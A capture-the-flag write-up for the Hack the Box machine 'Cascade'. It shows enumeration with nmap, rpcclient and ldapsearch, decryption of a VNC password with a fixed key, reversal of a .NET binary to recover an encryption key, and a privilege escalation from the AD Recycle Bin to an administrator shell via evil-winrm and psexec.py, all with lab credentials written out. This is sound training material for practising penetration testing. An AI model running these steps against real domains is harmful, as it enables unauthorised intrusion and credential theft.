Hack the Box — Cascade Writeup

Cascade is another fun machine created by VbScrub, the creator of Nest.

Cascade is a medium difficulty Windows box that starts with enumeration on LDAP and finds a custom LDAP attribute on one of the users to gain initial access to SMB shares. Enumeration on SMB discovers VNC credentials that can be decrypted using IRB. The credentials can be used to gain a foothold on the system. Another enumeration on SMB with those credentials finds a set of custom application. The database file used by the application contains an encrypted credentials of another user which can be decrypted by reversing the application. The last credentials I obtained allow me to recover the administrator password from AD Recycle Bin.



nmap shows the typical port used by Active Directory domain controller.

→ root@iamf «nmap» «»
$ mkdir nmap; nmap -sC -sV -oA nmap/initial-cascade
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-06-03 00:20:10Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 1s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-06-03T00:21:02
|_ start_date: 2020-06-02T04:24:21

nmap discovers the domain name of Cascade and also identifies the OS version.

I’ll take notes on these:

  • Domain: cascade.local
  • Host: Windows Server 2008 R2 SP1

The full scan almost returns the same result, except it discovers a WinRM port (5985).

→ root@iamf «nmap» «»
$ nmap -p- -oA nmap/full-cascade cascade.htb
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49165/tcp open unknown

I’ve added cascade.htb to my /etc/hosts


TCP 445 — SMB / RPC over SMB

Anonymous login is allowed on SMB port. I tried to list all the shares using smbclient but there was nothing there.

→ root@iamf «nmap» «»
$ smbclient -N -L //
Anonymous login successful
Sharename Type Comment
--------- ---- -------
SMB1 disabled -- no workgroup available

Knowing anonymous login is allowed on SMB, I can try it too on RPC using rpcclient and it works as well.

With current access, I can obtain the domain users and their groups manually.

→ root@iamf «nmap» «»
$ rpcclient -U '%'
rpcclient $>
rpcclient $> enumdomusers
user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]

I’ll save the output to a file called users, and filter the usernames only then pipe it to users.list

→ root@iamf «cascade» «»
$ cat users | tr -d '[]' | cut -d ' ' -f1 | cut -c6- | tee users.list

I’ll dig a bit more

— Builtin group enumeration

rpcclient $> enumalsgroups builtin
group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]
group:[Incoming Forest Trust Builders] rid:[0x22d]
group:[Windows Authorization Access Group] rid:[0x230]
group:[Terminal Server License Servers] rid:[0x231]
group:[Users] rid:[0x221]
group:[Guests] rid:[0x222]
group:[Remote Desktop Users] rid:[0x22b]
group:[Network Configuration Operators] rid:[0x22c]
group:[Performance Monitor Users] rid:[0x22e]
group:[Performance Log Users] rid:[0x22f]
group:[Distributed COM Users] rid:[0x232]
group:[IIS_IUSRS] rid:[0x238]
group:[Cryptographic Operators] rid:[0x239]
group:[Event Log Readers] rid:[0x23d]
group:[Certificate Service DCOM Access] rid:[0x23e]

— Domain group enumeration

rpcclient $> enumalsgroups domain
group:[Cert Publishers] rid:[0x205]
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44e]
group:[IT] rid:[0x459]
group:[Production] rid:[0x45a]
group:[HR] rid:[0x45b]
group:[AD Recycle Bin] rid:[0x45f]
group:[Backup] rid:[0x460]
group:[Temps] rid:[0x463]
group:[WinRMRemoteWMIUsers__] rid:[0x465]
group:[Remote Management Users] rid:[0x466]
group:[Factory] rid:[0x46c]
group:[Finance] rid:[0x46d]
group:[Audit Share] rid:[0x471]
group:[Data Share] rid:[0x472]

I can also list the group members

— Members of IT group (rid:0x459)

rpcclient $> queryaliasmem domain 0x459
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1106
S-1–5–21–3332504370–1206983947–1165150453–1106 CASCADE\arksvc (1)
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1107
S-1–5–21–3332504370–1206983947–1165150453–1107 CASCADE\s.smith (1)
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1109
S-1–5–21–3332504370–1206983947–1165150453–1109 CASCADE\r.thompson (1)

— Members of Remote Management Users group (rid:0x466)

rpcclient $> queryaliasmem domain 0x466
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1106
S-1–5–21–3332504370–1206983947–1165150453–1106 CASCADE\arksvc (1)
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1107
S-1–5–21–3332504370–1206983947–1165150453–1107 CASCADE\s.smith (1)

— Member of AD Recycle Bin

rpcclient $> queryaliasmem domain 0x45f
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1106
S-1–5–21–3332504370–1206983947–1165150453–1106 CASCADE\arksvc (1)

— Members of HR (rid:0x45b)

rpcclient $> queryaliasmem domain 0x45b

— Members of Audit group (rid:0x471)

rpcclient $> queryaliasmem domain 0x471
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1107
S-1–5–21–3332504370–1206983947–1165150453–1107 CASCADE\s.smith (1)

— Members of Data share group (rid:0x472)

rpcclient $> queryaliasmem domain 0x472
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–513
S-1–5–21–3332504370–1206983947–1165150453–513 CASCADE\Domain Users (2)

After enough digging, I did a password spray with a pattern of “username%username”, but no luck.

Before moving on, I’ll note the Remote Management Users group members:

  • arksvc
  • s.smith

TCP 389 — LDAP

In LDAP, anonymous login are also allowed.

→ root@iamf «cascade» «»
$ ldapsearch -h '' -x -b "dc=cascade,dc=local" > ldap-enum

Nmap already identifies the Active Directory domain name as cascade.local. Because AD is basically based on the LDAP protocol, in LDAP form or known as a distinguished name, the AD domain usually follows format of “DC=NAME,DC=TLD”.
cascade = NAME
- local = TLD (Top-Level Domain)

While examining the output from ldap-enum, I spotted an interesting line from user Ryan Thompson.

displayName: Ryan Thompson
uSNCreated: 24610
memberOf: CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local
uSNChanged: 295010
name: Ryan Thompson
logonCount: 2
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
lastLogonTimestamp: 132294360317419816
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=

The cascadeLegacyPwd: clk0bjVldmE= line only appears on Ryan Thompson section and it can be decoded into rY4n5eva.

→ root@iamf «cascade» «»
$ echo clk0bjVldmE= | base64 -d

I’ll mark the accounts that have a logonCount value greater than one:

Access as r.thompson

It turns out that the decoded cascadeLegacyPwd is r.thompson ’s password.

With r.thompson creds, I can see all the available shares.

→ root@iamf «cascade» «»
$ crackmapexec smb cascade.htb -u r.thompson -p 'rY4n5eva' --shares

Data share

In Data shares, r.thompson is only allowed to read IT folder. I’ll pull all the files from the IT folder using smbget.

Recall enumeration via RPC, r.thompson is a member of the IT group.

→ root@iamf «cascade» «»
$ smbget -R smb://cascade.htb/Data/IT/ -U r.thompson

Here is the directory structure. I’ll take a look on Meeting_Notes_June_2018.html

→ root@iamf «Data» «»
$ tree
└── IT
├── Email Archives
│ └── Meeting_Notes_June_2018.html
├── LogonAudit
├── Logs
│ ├── Ark AD Recycle Bin
│ │ └── ArkAdRecycleBin.log
│ └── DCs
│ └── dcdiag.log
└── Temp
├── r.thompson
└── s.smith
└── VNC Install.reg
9 directories, 4 files

I can read the Meeting_Notes_June_2018.html’s content using browser. I drew a red line to indicate something important.

The second interesting file is VNC Install.reg. It contains a stored password which can be decrypted according to this GitHub (https://github.com/frizb/PasswordDecrypts)


The third interesting file is ArkAdRecycleBin.log. It looks like a log from a custom application. I’ll take note on “Moving object to AD recycle bin CN=TempAdmin” part.

1/10/2018 15:43 [MAIN_THREAD]   ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 **
1/10/2018 15:43 [MAIN_THREAD] Validating settings...
1/10/2018 15:43 [MAIN_THREAD] Error: Access is denied
1/10/2018 15:43 [MAIN_THREAD] Exiting with error code 5
2/10/2018 15:56 [MAIN_THREAD] ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 **
2/10/2018 15:56 [MAIN_THREAD] Validating settings...
2/10/2018 15:56 [MAIN_THREAD] Running as user CASCADE\ArkSvc
2/10/2018 15:56 [MAIN_THREAD] Moving object to AD recycle bin CN=Test,OU=Users,OU=UK,DC=cascade,DC=local
2/10/2018 15:56 [MAIN_THREAD] Successfully moved object. New location CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local
2/10/2018 15:56 [MAIN_THREAD] Exiting with error code 0
8/12/2018 12:22 [MAIN_THREAD] ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 **
8/12/2018 12:22 [MAIN_THREAD] Validating settings...
8/12/2018 12:22 [MAIN_THREAD] Running as user CASCADE\ArkSvc
8/12/2018 12:22 [MAIN_THREAD] Moving object to AD recycle bin CN=TempAdmin,OU=Users,OU=UK,DC=cascade,DC=local
8/12/2018 12:22 [MAIN_THREAD] Successfully moved object. New location CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
8/12/2018 12:22 [MAIN_THREAD] Exiting with error code 0

As for dcdiag.log, up until now, I had no idea what that log was about.


Decrypt VNC Password

The VNC password I obtained from Data share can be decrypted using metasploit irb (interactive ruby).

>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
=> "\x17Rk\x06#NX\a"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["6BCF2A4B6E5ACA0f"].pack('H*'), fixedkey
=> "sT333ve2"

Since it was discovered in s.smith’s folder, I may try this decrypted password on user s.smith.

Remote Access as s.smith

From RPC enumeration, I already knew that user s.smith is a member of Remote Management Users, so I could try it with evil-winrm and it works.

→ root@iamf «Data» «»
$ evil-winrm -i cascade.htb -u s.smith -p 'sT333ve2'

I can grab user flag.

Privilege Escalation

Audit$ share

After enumerating s.smith’s privileges and groups, CASCADE\Audit Share reminds me to the Audit$ share, to which I previously had no access.

CME confirms that I have read access now on Audit$.

This share appears to contain an entire software application.

→ root@iamf «Data» «»
$ smbclient -U s.smith \\\\cascade.htb\\Audit$

I’ll pull them all from Cascade to my Kali

→ root@iamf «Data» «»
$ smbget -R smb://cascade.htb/Audit$ -U s.smith

And then send them over to my Windows.

→ root@iamf «Audit$» «»
$ tree
├── CascAudit.exe
├── CascCrypto.dll
├── DB
│ └── Audit.db
├── RunAudit.bat
├── System.Data.SQLite.dll
├── System.Data.SQLite.EF6.dll
├── x64
│ └── SQLite.Interop.dll
└── x86
└── SQLite.Interop.dll
3 directories, 8 files→ root@iamf «Audit$» «»
$ file CascAudit.exe
CascAudit.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Analyzing Audit.db

Audit.db is an SQlite3 database. As I’m analyzing on my Windows without SQLite installed, I’ll use an online SQLite viewer.

There are four tables in the database.

The records of the deleted AD object are kept in the DeletedUserAudit table.

The Ldap table contains the credentials for ArkSvc.

The password is not a simple base64 encoded string, but it is encrypted.

→ root@iamf «Audit$» «»
$ echo 'BQO5l5Kj9MdErXx6Q6AGOw==' | base64 -d

Analyzing CascAudit.exe

I tried to run CascAudit.exe on my PC, but it produced the following errors.

Don’t run an untrusted binary you downloaded from a CTF box.

I use a tool called dnSpy to reverse CascAudit.exe.

Once it is loaded, I’ll go straight to the main function.

Let’s break it down.

In order for the program to run properly, I’ll need to specify the database path as its first argument.

If the condition above is satisfied, it opens an SQL connection and fetches all data from the Ldap table. Each of them is then stored to str, str2, and password.

The interesting part in the code above is, of course, the password decrypt line.

Now because I only need the decrypt function, I could remove all the codes and put only this line below on the main function and then print it out using Console.Write().

password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");

Decrypt Arksvc Password

To decrypt Arksvc password, first, I’ll enter edit mode on the main function

Then, I could use the decrypt function in the main function. So the main function codes now looks like this.

I’ll save it as a new program called CascAuditModified.exe.

Now if I run it, I get the decrypted password.

┌─「iamf@MSI」 ‣ 「/mnt/z/Shared/Audit$」 ᓚᘏᗢ []
└─╼$ ./CascAuditModified.exe

Remote Access as arksvc

From my RPC enumeration, ArkSvc is a member of Remote Management Users, so I can use it with evil-winrm.

→ root@iamf «Data» «»
$ evil-winrm -i cascade.htb -u arksvc -p 'w3lc0meFr31nd'
Evil-WinRM shell v2.3Info: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\arksvc\Documents>

Shell as NT Authority\SYSTEM

I’ll wrap it up:

First, recall from RPC enumeration that user ArkSvc is also a member of AD Recycle Bin. The AD Recycle Bin group gives you permission to read deleted AD objects.

Second, according to the email sent by Steve Smith, there is a temporary admin account called TempAdmin that uses the same password as the “normal” admin account.

But, based on ArkAdRecycleBin.log, TempAdmin has been moved into AD Recycle Bin.

8/12/2018 12:22 [MAIN_THREAD] Running as user CASCADE\ArkSvc
8/12/2018 12:22 [MAIN_THREAD] Moving object to AD recycle bin CN=TempAdmin,OU=Users,OU=UK,DC=cascade,DC=local
8/12/2018 12:22 [MAIN_THREAD] Successfully moved object. New location CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
8/12/2018 12:22 [MAIN_THREAD] Exiting with error code 0

And now using ArksSvc account, I can search all the deleted objects using the command below:

*Evil-WinRM* PS C:\Users\arksvc\Documents> Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * -includeDeletedObjects -SearchBase "DC=cascade,DC=local"

After looking through the output, I noticed that TempAdmin has one interesting properties. It is another cascadeLegacyPwd.

I can decode the value to plaintext

→ root@iamf «Data» «»
$ echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d

The password works on the Administrator account, and I can obtain an interactive shell as NT Authority\System using psexec.py.

→ root@iamf «Data» «»
$ psexec.py cascade.local/administrator:'baCT3r1aN00dles'@cascade.htb

Curious to learn how things work, especially in digital world || Site: https://fahmifj.github.io/